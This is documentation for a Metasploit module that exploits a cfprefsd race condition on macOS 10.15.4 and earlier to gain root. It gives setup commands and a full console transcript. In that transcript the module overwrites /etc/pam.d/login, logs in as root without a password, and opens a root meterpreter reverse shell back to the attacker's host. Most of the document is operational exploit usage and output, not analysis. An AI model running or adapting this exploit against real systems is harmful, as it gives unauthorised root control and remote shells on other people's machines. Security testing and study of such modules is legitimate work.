## Vulnerable Application

This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
order to run a payload as root. The CFPreferencesSetAppValue function, which is
reachable from most unsandboxed processes, can be exploited with a race condition
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
a user can then login as root with the `login root` command without a password.


## Verification Steps

1. Get a session on a vulnerable system
2. `use exploit/osx/local/cfprefsd_race_condition`
3. `set lhost <IP>`
4. `set lport <PORT>`
5. `set session <session_id>`
6. `run`

## Scenarios

### macOS Catalina 10.15.4

```
msf exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                 Information                                                                       Connection
  --  ----  ----                 -----------                                                                       ----------
  1         meterpreter x64/osx  user @ Users-Macbook-Pro.local (uid=501, gid=20, euid=501, egid=20) @ Users-M...  192.168.56.1:4444 -> 192.168.56.4:49451 (192.168.56.4)

msf exploit(multi/handler) > use exploit/osx/local/cfprefsd_race_condition
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf exploit(osx/local/cfprefsd_race_condition) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(osx/local/cfprefsd_race_condition) > set LPORT 5555
LPORT => 5555
msf exploit(osx/local/cfprefsd_race_condition) > set SESSION 1
SESSION => 1
msf exploit(osx/local/cfprefsd_race_condition) > exploit

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.56.1:5555
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.Ug0wUz4HX6' (17204 bytes) ...
[*] Writing '/tmp/.qZy9vVNU' (14748 bytes) ...
[*] Executing exploit '/tmp/.qZy9vVNU /etc/pam.d/login'
[*] Exploit result:
Trying 10000 calls...
access: Permission denied
pwned! /etc/pam.d/login is now writable!
[*] Running cmd:
echo '/tmp/.Ug0wUz4HX6 & disown' | login root
[*] Transmitting first stager...(210 bytes)
[*] Command output:
Last login: Tue Aug 18 09:56:20 on tty??
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (799916 bytes) to 192.168.56.4
[*] Meterpreter session 2 opened (192.168.56.1:5555 -> 192.168.56.4:49452) at 2020-09-04 17:36:45 +0800

meterpreter >
[+] /etc/pam.d/login was restored

meterpreter > getuid
Server username: root @ Users-Macbook-Pro.local (uid=0, gid=0, euid=0, egid=0)

```

